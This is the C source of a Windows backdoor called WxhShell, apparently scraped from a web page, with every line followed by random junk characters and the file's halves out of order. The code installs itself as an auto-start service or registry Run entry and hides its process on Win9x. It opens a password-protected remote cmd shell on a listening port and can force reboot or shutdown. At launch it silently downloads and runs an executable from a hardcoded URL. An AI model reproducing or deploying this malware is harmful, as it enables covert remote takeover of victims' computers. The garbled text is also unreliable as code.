    if(Boot(SHUTDOWN)) -;z&">  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q^v8n1  
    else { *n0k2 p  
    closesocket(wsh); WT!8.M;Kv  
    ExitThread(0); #[*e$C  
    } <?P UF,  
    break; ^yKP 99(  
    } j=)%~@  
  // 获取shell i4.s_@2Y  
  case 's': { :&dY1.<N+  
    CmdShell(wsh); j>M 'nQ,;d  
    closesocket(wsh); &b}!KD1  
    ExitThread(0); |,]#vcJP#b  
    break; gU/\'~HG  
  } V|{ )P@Q  
  // 退出 #kX=$Bzk  
  case 'x': { I0O)MR<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zg7~&vs$  
    CloseIt(wsh); xZS  
    break; : H<u@%  
    } ?T5^hQT   
  // 离开 _f,q8ZkSr  
  case 'q': { 0x0.[1mB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ..7"&-?g{4  
    closesocket(wsh); 1+o>#8D  
    WSACleanup();  "t8mQ;n  
    exit(1); {!B0&x  
    break; O#7fkL  
        } C["^%0lj  
  } B|%=<1?  
  } amGQ!$] %#  
d {moU\W  
  // 提示信息 C9Fc(Y?_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G#Z%jO-XN  
} x#| P-^  
  } T}2a~  
L]#J?lE&  
  return; Ydmz!CEu  
} oC U8;z  
'E0{zk  
// shell模块句柄 f+s'.z%  
int CmdShell(SOCKET sock) >}<:5gZtA  
{ 7%8,*T  
STARTUPINFO si; -z0,IYG }  
ZeroMemory(&si,sizeof(si)); [j}%&$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~SZ0Yu:X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n<lU;  
PROCESS_INFORMATION ProcessInfo; wH!]B-hn  
char cmdline[]="cmd"; N{P (ym2yR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +F 6KGK[  
  return 0; 6%ID*  
} uGLVY%N  
HqOSQ<-Fo  
// 自身启动模式 *ARro Ndr  
int StartFromService(void) u!nt0hS  
{ I_#)>%H  
typedef struct UNYU2ze'  
{ RGLwtN  
  DWORD ExitStatus; Ft`#]=IS  
  DWORD PebBaseAddress; pWps-e  
  DWORD AffinityMask; e7/J:n$  
  DWORD BasePriority; GG;M/}E9  
  ULONG UniqueProcessId; b]RnCu"  
  ULONG InheritedFromUniqueProcessId; 9A3Q&@,  
}   PROCESS_BASIC_INFORMATION; &)fPz-s  
X~G"TT$)  
PROCNTQSIP NtQueryInformationProcess; x`%;Q@G  
H:9( XW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DfV_08  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wGISb\rr  
Z#>k:v  
  HANDLE             hProcess; AGCqJ8`|T  
  PROCESS_BASIC_INFORMATION pbi; N3r{|Bu  
v_5DeaMF'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?b8NEVjw  
  if(NULL == hInst ) return 0; 15U=2j*.b  
=q5A@!D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uVu`TgbZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]pb;q(?^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [rPW@|^5  
TmX~vZ  
  if (!NtQueryInformationProcess) return 0; ,[Cl'B  
[b;Oalw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ylt[Ks<2  
  if(!hProcess) return 0; %F&j B  
g:;v]   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9KXp0Q?-$  
w=#&(xm0  
  CloseHandle(hProcess); {Fb)Z"8]  
g-}Vu1w0{6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,fET.s^|U  
if(hProcess==NULL) return 0; ,Z>RvLl  
(eO0 Ic[c  
HMODULE hMod; A2rr>  
char procName[255]; j*QY_Ny*  
unsigned long cbNeeded; "5dh]-m n  
%iD>^Dp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *A,=Y/  
[(btpWxb^  
  CloseHandle(hProcess); kmov(V  
G0]q(.sOy  
if(strstr(procName,"services")) return 1; // 以服务启动 %Si3t2W/  
zG& N5t96X  
  return 0; // 注册表启动 KM0#M'dXy  
} HNU[W8mg8  
#llc5i;  
// 主模块 hH[JY(V  
int StartWxhshell(LPSTR lpCmdLine) LDPo}ogs  
{ >%[(C*Cks  
  SOCKET wsl; ?m?e2{]u,  
BOOL val=TRUE; _FdWV?  
  int port=0; |UR.7rOV  
  struct sockaddr_in door; 8zVXQ!'  
&]vd7Q.t  
  if(wscfg.ws_autoins) Install(); u3k+Xg:  
N.-Ryj&9  
port=atoi(lpCmdLine); T5-4Q  
G|^gaj'9  
if(port<=0) port=wscfg.ws_port; L9r 3jz  
UdL`.D,  
  WSADATA data; 2s 6Vy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S~6<'N&[  
pd7FU~-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >Q5 SJZ/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h Qu9ux  
  door.sin_family = AF_INET; kN]#;R6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lc5NC;JR  
  door.sin_port = htons(port); aL=VNZ!Pqc  
&G<ZK9Ot}0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jsez$m%vs  
closesocket(wsl); l0Pg`wH,  
return 1; / m?Z!  
} a~XNRAh  
:K8T\  
  if(listen(wsl,2) == INVALID_SOCKET) { Nr(WbD[T  
closesocket(wsl); 8sbS7*#  
return 1; m,up37-{  
} %eT/:I  
  Wxhshell(wsl); zNXk dw  
  WSACleanup(); cPS!%?}I  
7B&nV92S  
return 0; Ip2JzE  
=e._b 7P  
} R [uo:.  
~Kb(`Px@  
// 以NT服务方式启动 xc*ys-Nv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s#qq% @  
{ :'!?dszS  
DWORD   status = 0; 0q`'65 lx  
  DWORD   specificError = 0xfffffff; 2RE }l=h5  
le[5a=e(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t}oxHEa V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &12aI |u^<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l0@$]76cX;  
  serviceStatus.dwWin32ExitCode     = 0; y|lP.N/  
  serviceStatus.dwServiceSpecificExitCode = 0; R jAeN#,?  
  serviceStatus.dwCheckPoint       = 0; dR=SW0Oa{  
  serviceStatus.dwWaitHint       = 0; ,bH  
| c8u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *i$+i  
  if (hServiceStatusHandle==0) return; Wq>j;\3b3  
mU\$piei  
status = GetLastError(); ZjI^0D8  
  if (status!=NO_ERROR) S3oU7*OZ  
{  UNhD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T:}Ed_m}q  
    serviceStatus.dwCheckPoint       = 0; 1MV^~I8Dd  
    serviceStatus.dwWaitHint       = 0; G3OQbqn  
    serviceStatus.dwWin32ExitCode     = status; < )?&Jf>_  
    serviceStatus.dwServiceSpecificExitCode = specificError; J J3vC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hQet?*diU  
    return; 6Q wL  
  } `zsKc 6%  
]mqB&{g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u>? VD%  
  serviceStatus.dwCheckPoint       = 0; Y*AHwc<w`  
  serviceStatus.dwWaitHint       = 0; z1Ju;k( 8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C]):+F<7  
} 'Uc|[l]  
OVivJx  
// 处理NT服务事件,比如:启动、停止 <$=8'$T81  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n1;V2k{uV  
{ {< wq}~  
switch(fdwControl) m3|,c[M1  
{ <QJmdcG  
case SERVICE_CONTROL_STOP: )8N/t6Q  
  serviceStatus.dwWin32ExitCode = 0; je{5iIr3/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #pVk%5N  
  serviceStatus.dwCheckPoint   = 0; |6;.C1\,  
  serviceStatus.dwWaitHint     = 0; |mM7P^I  
  { h\ ybh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z1:auodI@  
  } ^#Z(&/5f0  
  return; IM@Qe|5  
case SERVICE_CONTROL_PAUSE: ! TRiFD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; % -SP  
  break; 97&6iTYA  
case SERVICE_CONTROL_CONTINUE: |LjCtm)@+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ca`=dwe>  
  break; kO9yei  
case SERVICE_CONTROL_INTERROGATE: >l7 o/*4  
  break; cCj3,s/p  
}; 4u&l@BUr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d6n6= [*  
} |0bSxPXn!  
xGH%4J\  
// 标准应用程序主函数 LS_QoS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^wHO!$  
{ MR~BWH?@1  
"?il07+w%  
// 获取操作系统版本 EfUo<E  
OsIsNt=GetOsVer(); Aqc(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6D+k[oHZm  
# K-Q/*  
  // 从命令行安装 hQ\]vp7V  
  if(strpbrk(lpCmdLine,"iI")) Install(); /2U.,vw  
!eO?75/  
  // 下载执行文件 );*GOLka  
if(wscfg.ws_downexe) { D0-e,)G}V,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <l6CtK@  
  WinExec(wscfg.ws_filenam,SW_HIDE); .9E`x>C  
} t +#Ss v8  
Iq52rI}  
if(!OsIsNt) { m7@`POI  
// 如果时win9x,隐藏进程并且设置为注册表启动 kOc'@;_O  
HideProc(); A} "*`y  
StartWxhshell(lpCmdLine); VEn%_9(]  
} tJn2:}-s  
else +u Lu.-N  
  if(StartFromService()) #z~oc^J^T  
  // 以服务方式启动 z/T ZOFaM  
  StartServiceCtrlDispatcher(DispatchTable); M6I1`Lpf  
else ae<KUThm.  
  // 普通方式启动 1`uIjXr(  
  StartWxhshell(lpCmdLine); _Yhpj}KZ  
un\^Wmbw  
return 0; :I7MP   
} *V\kS  
1jF}g`At  
4+~+`3;~v  
yA_d${n  
=========================================== 0O:TKgb&C.  
)I <.DN&  
Jw^+t)t  
V:+}]"yJ,  
xtnB: 3  
'(Bs<)(H  
" xM*v!J,  
HC0puLt_  
#include <stdio.h> k~gQn:.Cx  
#include <string.h> b6i0_fOO  
#include <windows.h> E=B9FIx~<  
#include <winsock2.h> AsLAm#zq  
#include <winsvc.h> Du{]r[[C  
#include <urlmon.h> Ry(!< w,  
qd.b&i  
#pragma comment (lib, "Ws2_32.lib") PM|K*,3J  
#pragma comment (lib, "urlmon.lib")  O{4m-;  
QO,y/@Ph  
#define MAX_USER   100 // 最大客户端连接数 [sad}@R7  
#define BUF_SOCK   200 // sock buffer PFc02 w  
#define KEY_BUFF   255 // 输入 buffer q@\D5F% >  
jv7zvp  
#define REBOOT     0   // 重启 x O)nS _I  
#define SHUTDOWN   1   // 关机 7}#vANm  
78Gvc~j  
#define DEF_PORT   5000 // 监听端口 %iGME%oXr  
eMF%!qUr  
#define REG_LEN     16   // 注册表键长度 `b2 I)xC#  
#define SVC_LEN     80   // NT服务名长度 ALG #)$|  
(I+-wki"e  
// 从dll定义API x|Ei_hI-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v|"{x&I.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4*54"[9Hr#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B|%;(bM2C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qle\c[UM5  
@fY!@xSf  
// wxhshell配置信息 /yOd]N;$  
struct WSCFG { pUPb+:^R  
  int ws_port;         // 监听端口 J3zb_!PPE  
  char ws_passstr[REG_LEN]; // 口令 =y4g. J\  
  int ws_autoins;       // 安装标记, 1=yes 0=no kSJWQ  
  char ws_regname[REG_LEN]; // 注册表键名 fT@#S}t  
  char ws_svcname[REG_LEN]; // 服务名 !9!N s(vUM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ecF I"g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o0/03O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qh*|mW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z[';HJ0O;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !At_^hSqz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X=JSqO6V9  
OVd"'|&6_  
}; *=I#VN*_<.  
tQ)8HVKF  
// default Wxhshell configuration e"b F"L  
struct WSCFG wscfg={DEF_PORT, -1{N#c/U  
    "xuhuanlingzhe", b2 ),J  
    1, p;p G@Vg  
    "Wxhshell", }Orc;_)r  
    "Wxhshell", )rXP2Z  
            "WxhShell Service", kxdLJ_  
    "Wrsky Windows CmdShell Service", Ve=0_GR0  
    "Please Input Your Password: ", (zhmZm  
  1, p5bH- km6  
  "http://www.wrsky.com/wxhshell.exe",  RFZrcM  
  "Wxhshell.exe" Q~]R#S  
    }; 9xSAWKr,l  
H p,r @  
// 消息定义模块 2M;{|U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mr/^lnO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1xx-}AIH#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T.{I~_  
char *msg_ws_ext="\n\rExit."; tVe*J@i\$  
char *msg_ws_end="\n\rQuit."; ]y(#]Tw\  
char *msg_ws_boot="\n\rReboot..."; "16==tLFE  
char *msg_ws_poff="\n\rShutdown..."; sz)3 z  
char *msg_ws_down="\n\rSave to "; 8@r+)2  
?>,aq>2O$  
char *msg_ws_err="\n\rErr!"; fb#Ob0H  
char *msg_ws_ok="\n\rOK!"; +Q'/c0o  
,og@}gOMB  
char ExeFile[MAX_PATH]; |S4yol  
int nUser = 0; -aO3/Ik [q  
HANDLE handles[MAX_USER]; O,bj_CWx  
int OsIsNt; 5!5P\o  
s=6w-'; V  
SERVICE_STATUS       serviceStatus; }^QY<Cp|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W=|B3}C?  
c#l (~g$D+  
// 函数声明 6 o+zhi;E  
int Install(void); C!.6:Aj  
int Uninstall(void); :n>h[{ o%  
int DownloadFile(char *sURL, SOCKET wsh); +J^}"dG  
int Boot(int flag); } FFW,x  
void HideProc(void); R sujKh/  
int GetOsVer(void); ^+P]_< 43  
int Wxhshell(SOCKET wsl); ]vlQNd?  
void TalkWithClient(void *cs); 2V  
int CmdShell(SOCKET sock); I*24%z9  
int StartFromService(void); Ohjqdv@  
int StartWxhshell(LPSTR lpCmdLine); Z|~<B4#c  
EatpORq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *m|]c4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u?aq' "t  
,+q5e^P  
// 数据结构和表定义 v& ? Bqj  
SERVICE_TABLE_ENTRY DispatchTable[] = plp).Gq  
{ N),Zb^~nw  
{wscfg.ws_svcname, NTServiceMain}, <H 3}N!  
{NULL, NULL} 7{b|+0W  
}; :Z/ ig%  
pY:xxnE  
// 自我安装 bG5c~  
int Install(void) .t["kaA  
{ ?! kup  
  char svExeFile[MAX_PATH]; ly{ ~X  
  HKEY key; + W +<~E  
  strcpy(svExeFile,ExeFile); (C. 1'<]  
#cApk  
// 如果是win9x系统,修改注册表设为自启动 *{tJ3<t(1  
if(!OsIsNt) { K|s+5>]W/[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lxxK6;r~>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]])i"oew  
  RegCloseKey(key); HDC`g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )kd PAw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b|xz`wUH0$  
  RegCloseKey(key); HL_MuyE  
  return 0; FS20OD  
    } =,(Ba'  
  } 3kJAaI8   
} R!,RZ?|v  
else { paF2{C)4  
vF*H5\ m<a  
// 如果是NT以上系统,安装为系统服务 {)Gh~~57_W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !Hgq7vZG  
if (schSCManager!=0) >Cf]uiR  
{ [y:6vC   
  SC_HANDLE schService = CreateService OCX?U50am  
  ( u2F 3>s  
  schSCManager, 7&+Gv6E  
  wscfg.ws_svcname, 20K<}:5t1  
  wscfg.ws_svcdisp, H{+U; 6b  
  SERVICE_ALL_ACCESS, NcPzmW{#;g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TX 12$p\  
  SERVICE_AUTO_START, n ,H;PB  
  SERVICE_ERROR_NORMAL, yJgnw6>r2  
  svExeFile, ^91k@MC  
  NULL, L6',s4  
  NULL, 1*=[% d7  
  NULL, Q}1PPi,  
  NULL, .&L#%C  
  NULL lQ)8zI  
  ); 3<Cd >o.  
  if (schService!=0) M.t5,NJ  
  { T%ha2X=  
  CloseServiceHandle(schService); / P{f#rV5  
  CloseServiceHandle(schSCManager); /.}&yRR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5#iv[c  
  strcat(svExeFile,wscfg.ws_svcname); 2sf/^XC1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )} /9*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $<T)_g  
  RegCloseKey(key); 9}":}!  
  return 0; ^&.F!  
    } 4}l,|7_&I  
  } 2O4U ytN  
  CloseServiceHandle(schSCManager); esxU44  
} e+2!)w)[  
} J]Y." hi  
Vg2s~ce{  
return 1; f)*}L?  
} /TpM#hkq/2  
_~6AUwM  
// 自我卸载 in%+)`'nH7  
int Uninstall(void) dp+wwNe  
{ (z"Cwa@e  
  HKEY key; >yT:eG  
X, J.!:4`  
if(!OsIsNt) { [5:F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CjIkRa@!x  
  RegDeleteValue(key,wscfg.ws_regname); Prr<:q  
  RegCloseKey(key); a-O9[?G/x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ar.(J  
  RegDeleteValue(key,wscfg.ws_regname); 8 v&5)0u  
  RegCloseKey(key); 0xH$!?{b  
  return 0; +DVU"d  
  } U^Hymgb%  
} d<#Xqc  
} VP|9Cm=Fg  
else { DGp'Xx_8  
Th@L68  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A4'v Jk  
if (schSCManager!=0) "bC8/^  
{ ?2Bp^3ytJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +-xA/nU.c  
  if (schService!=0) _Z2VS"yH  
  { }Z2Y>raA\  
  if(DeleteService(schService)!=0) { LkJ3 :3O  
  CloseServiceHandle(schService); `Ol*"F.+I  
  CloseServiceHandle(schSCManager); IDcu#Nz`  
  return 0; (swP#t5S  
  } 0*h\/!e  
  CloseServiceHandle(schService); JTdK\A>l  
  } KLbP;:sr  
  CloseServiceHandle(schSCManager); oA73\BFfP  
} {T=I~#LjMI  
} 7CNEP2}:R  
]%G[<zD,1  
return 1; (}bP`[@rX!  
} ]`+>{Sx 1  
|L0s  
// 从指定url下载文件 $JcU0tPq0  
int DownloadFile(char *sURL, SOCKET wsh) {Uu7@1@n  
{ tpA7"JD  
  HRESULT hr; u5%.T0 P  
char seps[]= "/"; l6)*u[}E   
char *token; i1u & -#k  
char *file; d(R3![:  
char myURL[MAX_PATH]; {s 4:V=J  
char myFILE[MAX_PATH]; [|uAfp5R  
u:fiil$  
strcpy(myURL,sURL); 6`F_js.a  
  token=strtok(myURL,seps); {8b6A~/  
  while(token!=NULL) !t[X/iu  
  { 1\_4# @')  
    file=token; 4uDz=B+8y  
  token=strtok(NULL,seps); c1e7h l  
  } U =T[-(:H  
sL[,J[AN;  
GetCurrentDirectory(MAX_PATH,myFILE); t5[{ihv~:  
strcat(myFILE, "\\"); hm?-QVRPV  
strcat(myFILE, file); 9KD2C>d<  
  send(wsh,myFILE,strlen(myFILE),0); 7?B]X%  
send(wsh,"...",3,0); b Kv9F@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k1B7uA'h"G  
  if(hr==S_OK) O!uX:TE|Q  
return 0; 5(TI2,4  
else 7 ?/ Fr(\  
return 1; vhdT"7`U  
8h-6;x^^  
} BDc*N]m}B1  
f+J<sk  
// 系统电源模块 Pp #!yMxBr  
int Boot(int flag) Jg |/*Or  
{ N CX!ss  
  HANDLE hToken; aY8>#t?  
  TOKEN_PRIVILEGES tkp; Y~bp:FkS  
;nSaZ$`5  
  if(OsIsNt) { S yX>zN!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'szkn0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \)`\F$CF  
    tkp.PrivilegeCount = 1; L}x"U9'C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;k!bv|>n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >:h 8T]F  
if(flag==REBOOT) { aCy2 .Qn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L@0DT&5  
  return 0; N!r@M."  
} xlS t  
else { ~ia#=|1}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a)[tkjU  
  return 0; 0;r+E*`DA  
} ]r6,^"  
  } x~A""*B~  
  else { WWH T;ST  
if(flag==REBOOT) { prhFA3 rW.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8_mdh+  
  return 0; ^MDBJ0 I.  
} ) Q]kUG#`  
else { ;./Tv84I^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nBZqhtr  
  return 0; _9""3O  
} '<$(*  
} N2xgyKy~  
7@|(z:uw  
return 1; 6^}GXfJAc  
} e,|"9OK  
^cBA8 1  
// win9x进程隐藏模块 x w]Zo<F  
void HideProc(void) w,9$*=k  
{ .\LWV=B  
?cowey\m .  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A:& `oJl  
  if ( hKernel != NULL ) ]={:VsnL  
  { 4?1Ac7bE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jHTaG%oh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y#3m|b45n  
    FreeLibrary(hKernel); I?Eh 0fI  
  } 5|wQeosXxI  
hjaI&?w  
return; q1`uS^3`  
} %\%1EZQ%  
<iv9Mg}  
// 获取操作系统版本 qdvGBdF  
int GetOsVer(void) =}u;>[3  
{ Ui'~d(F  
  OSVERSIONINFO winfo; ;m{[9i` 2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pB h [F5  
  GetVersionEx(&winfo); J6rXb ui$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v #IC  
  return 1; ke'p8Gz  
  else VqbMFr<k  
  return 0; 9{?<.%  
} 24>{T5E  
j?3J-}XC  
// 客户端句柄模块 ?^5W.`Y2i  
int Wxhshell(SOCKET wsl) 9O~1o?ni  
{ D?8t'3no  
  SOCKET wsh; 5/>G)&  
  struct sockaddr_in client; %[&cy'  
  DWORD myID; 2lE { P  
^~eT# Y8  
  while(nUser<MAX_USER) ;(TBg-LEK  
{ 82efqzT  
  int nSize=sizeof(client); W^P%k:anK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .@/5Ln  
  if(wsh==INVALID_SOCKET) return 1; kSoAnJ|  
N y7VIh|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a}El!7RO0  
if(handles[nUser]==0) (;V]3CtU*  
  closesocket(wsh); X7Cou6r  
else %[Ia#0'Y@  
  nUser++; ~u/Enl7\-  
  } jKM-(s!(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VDCrFZ!]  
*M6M'>Tin  
  return 0; KvkiwO(  
} E':y3T@."  
g6;O)b  
// 关闭 socket pG:FDlR~  
void CloseIt(SOCKET wsh) IgR_p7['.  
{ Op\l  
closesocket(wsh); BY32)8SH  
nUser--; ]e7D""  
ExitThread(0); +SZ#s :#SE  
} OKxPf]~4E  
?Ju=L|  
// 客户端请求句柄 C Vyq/X  
void TalkWithClient(void *cs) dD@T}^j *|  
{ sW@4r/F>:D  
UOT~L4 G  
  SOCKET wsh=(SOCKET)cs; 6TlkPM$~2  
  char pwd[SVC_LEN]; 'hg, W]  
  char cmd[KEY_BUFF]; <b{Le{QJ*  
char chr[1];  }m\  
int i,j; a:H}c9 $%  
JY_+p9KfyQ  
  while (nUser < MAX_USER) { kc1 *@<L6  
].7)^  
if(wscfg.ws_passstr) { =/V r,y$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >eWHPO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ bd? `."  
  //ZeroMemory(pwd,KEY_BUFF); a~:'OW:Q  
      i=0; H:a(&Zb  
  while(i<SVC_LEN) { vEW;~FLd  
{SCwi;m  
  // 设置超时 D{PO!WzW  
  fd_set FdRead; u`R  
  struct timeval TimeOut; xa5I{<<U  
  FD_ZERO(&FdRead); D.)R8X  
  FD_SET(wsh,&FdRead); ,hYUxh45  
  TimeOut.tv_sec=8; D9 ,~Fc  
  TimeOut.tv_usec=0; d=Q0 /sI&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L`yS '  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rR^VW^|f  
3#^xxEu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k0{Mq<V*%  
  pwd=chr[0]; _N.ZpKVu  
  if(chr[0]==0xd || chr[0]==0xa) { hXmW,+1  
  pwd=0; q#c\  
  break; +Y'(,J  
  } +c+#InsY  
  i++; ~~&8I!r e  
    } H [R|U   
^Me__Y  
  // 如果是非法用户,关闭 socket zT0FTAl ^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /c]I|$v  
} }#a d  
+'y$XR~W{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A ElNf:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .y#@~H($  
p@YU7_sF^!  
while(1) { GwxfnC Ki9  
_u]Wr%D@  
  ZeroMemory(cmd,KEY_BUFF); ` ~VV1  
HwiG~'Ah9  
      // 自动支持客户端 telnet标准   SI4M<'fK  
  j=0; o%RyE]pw,  
  while(j<KEY_BUFF) { 7K%Ac  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B ,e3r  
  cmd[j]=chr[0]; AdKv!Ta5b  
  if(chr[0]==0xa || chr[0]==0xd) { 1`X{$mxw  
  cmd[j]=0; xpRQ"6  
  break; AQ'~EbH(  
  } #e{l:!uS\  
  j++; bCy.S.`jHQ  
    } F3;UH%L1  
: v<|y F  
  // 下载文件 3{]csZvW  
  if(strstr(cmd,"http://")) { cRI&cN"o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !n@Yg2w  
  if(DownloadFile(cmd,wsh)) Ro$l/lXl8t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f*aYS  
  else b: +.Y$%F-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (wo.OH  
  } [qI, $ +  
  else { bmGIxBRq  
o/)]z  
    switch(cmd[0]) { QZYD;&iY&  
  Nd%,V  
